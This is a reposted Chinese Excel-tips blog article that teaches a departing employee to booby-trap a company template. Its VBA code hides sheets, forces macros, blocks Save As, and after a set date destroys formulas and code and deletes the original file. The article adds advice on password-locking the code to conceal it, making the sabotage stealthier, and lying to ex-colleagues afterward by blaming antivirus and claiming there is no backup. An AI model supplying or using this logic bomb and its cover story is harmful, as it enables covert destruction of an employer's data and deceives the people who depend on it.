分享

如何在离职一个月后,让自己曾经辛苦制作的Excel模板优雅的自动报废?

 H0ing 2020-06-09
每天一篇Excel技术图文
微信公众号:Excel星球

NO.451-要要切克闹
作者:看见星光
 微博:EXCELers / 知识星球:Excel

HI,大家好,我是星光。

有句俗话说,职场如战场,什么龌龊事都有。有的朋友在公司辛苦打拼,加班加点任劳任怨,工资不涨也就算了,还总是被给小鞋穿;临了辞职,也是遭遇各种小绊子,以至于一口恶气堵在胸口,大半年不愉快,非常影响生活质量——

于是有的朋友就问了,我辞职之前能不能把做的Excel模板删掉?我辛辛苦苦的劳动成果凭啥便宜那群白眼狼?

删模板?当着前公司领导和前同事的面删模板?当然是——不行的!善良如你绝无可能以如此绝决的方式撕破他们的脸;另外,为什么要删呢?给他们留个烂苹果固然很好,但吃苹果最可怕的并不是吃到烂苹果,而是一口下去咬到好几条毛毛虫——所以我隆重向你推荐这个方案:

在离职一个月后,让模板优雅的自动报废

……

假设我们有一个模板,叫'摆摊吧!后浪',这是一份你辛苦良久,加班加点,整理业务逻辑、数据逻辑;编写函数,甚至VBA代码蛋生的劳动成果。

步骤1

制作说明表


打开模板工作簿,新建一张工作表,命名为说明表。在醒目位置敲下以下文字:

使用本模板必须启用宏

如有其它说明,可以根据自身需要,放肆补充。

步骤2

保护工作簿结构


将所有工作表隐藏,只保留说明表。

在【审阅】选项卡下,单击【保护工作簿】,保持【结构】复选框选中状态不变,输入保护密码。(金鱼同志,组织让我给你捎句话,这密码你需要记住几秒钟,别输入完转眼就忘却了)。

这一步的意义是什么呢?所有工作表都隐藏起来了,模板还怎么用?——目的其实是强制用户启用宏,不启用宏,就无法正常使用模板……继续往下看▼

步骤3

编写定时自宫代码


按<Alt F11>组合键,打开VBE编辑器,双击ThisWorkbook,将以下代码复制粘贴到右侧的代码窗口。


复制以下代码...▼
'工作簿打开,取消工作表隐藏Private Sub Workbook_Open() Dim sht As Worksheet On Error Resume Next ThisWorkbook.Unprotect '111111' For Each sht In Worksheets sht.Visible = xlSheetVisible Next ThisWorkbook.Protect '111111', TrueEnd Sub

'禁止文件另存为Private Sub workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean) Dim b As Long If SaveAsUI = True Then b = MsgBox('该工作簿不允许用“另存为”来保存,' & _ '你要用原工作簿名称来保存吗?', vbQuestion vbOKCancel) Cancel = (b = vbCancel) If Cancel = False Then Me.Save Cancel = True End IfEnd Sub
'保护工作簿结构,定时更新代码Private Sub Workbook_BeforeClose(Cancel As Boolean) Dim sht As Worksheet, dte As Date Dim strname As String, strFullName As String On Error Resume Next With Application .ScreenUpdating = False .DisplayAlerts = False .EnableEvents = False End With dte = VBA.DateSerial(2026, 6, 16) '代码维护更新时间 If dte < Date Then For Each sht In Worksheets sht.UsedRange.Value = sht.UsedRange.Value Next strname = Split(ThisWorkbook.Name, '.xls')(0) Workbooks(strname & '.xlsx').Close True strFullName = ThisWorkbook.FullName ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbook Kill strFullName strFullName = ThisWorkbook.FullName ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname & '临时工', xlOpenXMLWorkbook Workbooks.Open (strFullName) ActiveWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbookMacroEnabled ActiveWorkbook.Close True Kill strFullName With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly Kill .FullName .Close End With Else For Each sht In Worksheets If sht.Name <> '说明表' Then sht.Visible = xlSheetVeryHidden End If Next ThisWorkbook.Protect '111111', True ThisWorkbook.Save End If With Application .ScreenUpdating = True .DisplayAlerts = True .EnableEvents = True End WithEnd Sub
以上代码有3个事件过程。

第1至第10行代码是在工作簿打开时,自动取消工作表隐藏并保护工作簿结构,以便模板正常使用。

第13至第22行代码是禁止当前工作簿另存为的行为。

剩下的代码属于第3个事件过程,是核心领导地位。在工作簿保存前,判断当前电脑的日期是否大于2026年6月16日;如果条件成立,则将当前工作簿每张工作表的函数公式转换为数值,将函数公式自杀;同时将工作簿另存为.xlsx格式,将VBA代码自杀;再将该文件夹重命名为原文件名;如果条件不成立,则将除了'说明表'以外的工作表全部隐藏,并重新保护工作簿结构。

代码设置的自宫时间是2026年6月16日,您可以根据实际需要进行调整。

dte = VBA.DateSerial(2026, 6, 16) '代码维护更新时间,可根据需要调整

代码设置的工作簿原始保护密码是111111,
这个密码必须和你在第2步输入的工作簿保护密码一致,您可以在代码窗口按<Ctrl H>打开查找替换对话框,将111111替换为实际保护密码。



步骤4

设置VBE保护密码


在【工具】选项卡下单击【VBA Project属性】,在打开的对话框中切换到【保护】选项卡。勾选【查看时锁定工程】复选框,在【查看工程的密码】输入保护密码。


设置VBE保护密码的目的是……多少遮掩一下相关代码,别万一被人家看到了,且看懂了,那就怪不好意思的。

步骤5

更改文件类型


第5步,也是最后一步,将当前工作簿另存为.xlsm类型的文件。如果是保存为.xlsx类型的文件,复制粘贴的那些VBA代码就会被系统自动删除,那就前功尽弃了。


……

做完这些设置,到达指定时间后,该工作簿就会自动将所有的公式转换为数值,并自动删除所有VBA代码了。

模板报废后,你的前同事有可能会期期艾艾或者凶凶巴巴的联系你……

……

有装360吗?我当初编写的代码被你们用杀毒软件给杀死了吧?(360经典背锅侠)

确定没有操作错?模板对操作者的Excel水平要求很高的,如果是小白的话,有太多可能出问题了——这个我和你真说不清楚。

备份?没有备份。都离职1个多月了,东西早都扔垃圾桶了,备份文件做什么?就我那工资,备份文件值啥啊?……

不好意思,我都离职一个多月了,公司的业务逻辑都忘的差不多了,这我真帮不了你。你们当时也说我的工作很简单,做事不花时间,那你们重新做下模板,或者干脆不用模板不就得了?

……

小贴士▼

1,奇葩公司奇葩同事当然有,但想来应该也不多,如果不是怨气堵胸怀严重影响夜生活,看我真诚的小眼神,就不必和那帮家伙一般见识了。但如果情况确实很恶劣,又有句俗话说的好,狗咬了你一口,难道你还能咬回去?——肯定得打死它!

2,以上模板自废的方案并非不可破解,破解的方法有很多,但你身边懂得破解的人肯定并不多。这就好比天空一朵看起来硕大的乌云,化成雨落到每个人头上,也就只是一滴水。另外,代码可以灵活修改,比如,只是删除或改变关键部分的函数公式/VBA代码,而不是将其全部删——如此使自废的过程更加隐蔽。

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多